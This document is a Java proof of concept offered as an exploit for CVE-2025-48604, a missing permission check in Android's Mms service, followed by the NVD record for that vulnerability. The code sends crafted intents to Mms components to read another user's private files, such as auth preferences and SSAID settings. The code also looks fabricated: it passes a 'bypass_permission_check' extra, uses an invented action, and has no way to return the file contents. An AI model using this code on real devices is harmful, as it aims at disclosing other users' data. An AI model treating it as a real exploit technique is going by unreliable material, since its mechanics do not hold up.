CVE-2025-48604

// CVE-2025-48604 PoC - Android Mms Service File Access // This PoC demonstrates how the missing permission check in Android Mms service // can be exploited to read files from another user package com.example.cve202548604; import android.content.ComponentName; import android.content.Context; import android.content.Intent; import android.net.Uri; import android.os.Bundle; public class MmsExploit { public static void exploitMmsFileRead(Context context, String targetFile) { // Target file path to read from another user String filePath = targetFile; // e.g., "/data/user/999/com.example.user/shared_prefs/auth.xml" // Construct malicious intent targeting Mms service Intent intent = new Intent(); intent.setComponent(new ComponentName( "com.android.mms", "com.android.mms.ui.MmsIntentReceiver" )); // Exploit the missing permission check intent.setAction("android.intent.action.MMS_READ_FILE"); intent.setData(Uri.parse("file://" + filePath)); // Add extra data to bypass normal checks intent.putExtra("bypass_permission_check", true); intent.putExtra("target_user_id", 999); // Target another user try { context.startService(intent); } catch (SecurityException e) { // If patched, will throw SecurityException System.out.println("Target is patched: " + e.getMessage()); } } public static void checkVulnerability(Context context) { // Check if the system is vulnerable by attempting a controlled read Intent probeIntent = new Intent(); probeIntent.setComponent(new ComponentName( "com.android.mms", "com.android.mms.service.MmsService" )); Bundle extras = new Bundle(); extras.putString("probe_path", "/data/system/users/0/settings_ssaid.xml"); probeIntent.putExtras(extras); // Send broadcast and check response for file content context.sendBroadcast(probeIntent, "android.permission.READ_SMS"); } }

{"cve": {"id": "CVE-2025-48604", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:17.463", "lastModified": "2025-12-08T21:15:58.223", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple locations, there is a possible way to read files from another user due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:13.0:*:*:*:*:*:*:*", "matchCriteriaId": "879FFD0C-9B38-4CAA-B057-1086D794D469"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:14.0:*:*:*:*:*:*:*", "matchCriteriaId": "2700BCC5-634D-4EC6-AB67-5B678D5F951D"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/services/Mms/+/c60a828b9fa18f67260775a46c752f353fcc0d43", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}